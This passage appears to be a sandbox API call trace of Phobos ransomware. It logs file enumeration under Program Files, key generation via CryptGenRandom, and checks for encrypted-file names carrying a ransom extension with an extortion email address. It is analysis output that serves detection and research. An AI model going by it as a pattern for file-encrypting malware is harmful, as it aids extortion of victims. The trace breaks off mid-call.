[0172.035] CloseHandle (hObject=0x2d8) returned 1 [0172.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0172.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.036] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.036] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=18432) returned 1 [0172.036] CloseHandle (hObject=0x2d8) returned 1 [0172.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0172.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.036] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.037] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=99840) returned 1 [0172.037] CloseHandle (hObject=0x2d8) returned 1 [0172.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0172.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.037] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.037] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=376320) returned 1 [0172.037] CloseHandle (hObject=0x2d8) returned 1 [0172.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0172.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.038] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.038] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=698368) returned 1 [0172.038] CloseHandle (hObject=0x2d8) returned 1 [0172.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0172.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.039] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.040] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=54784) returned 1 [0172.040] CloseHandle (hObject=0x2d8) returned 1 [0172.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0172.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.041] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.041] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=117248) returned 1 [0172.041] CloseHandle (hObject=0x2d8) returned 1 [0172.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0172.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.042] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.043] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=16384) returned 1 [0172.043] CloseHandle (hObject=0x2d8) returned 1 [0172.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0172.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.043] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.044] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=942080) returned 1 [0172.044] CloseHandle (hObject=0x2d8) returned 1 [0172.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0172.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.044] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.045] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=77824) returned 1 [0172.045] CloseHandle (hObject=0x2d8) returned 1 [0172.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0172.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.045] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.046] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=868352) returned 1 [0172.046] CloseHandle (hObject=0x2d8) returned 1 [0172.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0172.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.046] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.046] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=4608) returned 1 [0172.046] CloseHandle (hObject=0x2d8) returned 1 [0172.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0172.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.047] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.047] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=326144) returned 1 [0172.047] CloseHandle (hObject=0x2d8) returned 1 [0172.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0172.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.048] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.048] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2560) returned 1 [0172.048] CloseHandle (hObject=0x2d8) returned 1 [0172.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0172.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.048] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.049] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=854528) returned 1 [0172.049] CloseHandle (hObject=0x2d8) returned 1 [0172.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0172.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.049] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.049] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=964096) returned 1 [0172.050] CloseHandle (hObject=0x2d8) returned 1 [0172.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0172.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.050] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.051] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2560) returned 1 [0172.051] CloseHandle (hObject=0x2d8) returned 1 [0172.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0172.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.051] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.052] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2560) returned 1 [0172.052] CloseHandle (hObject=0x2d8) returned 1 [0172.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0172.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.052] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.053] GetFileSizeEx (in: 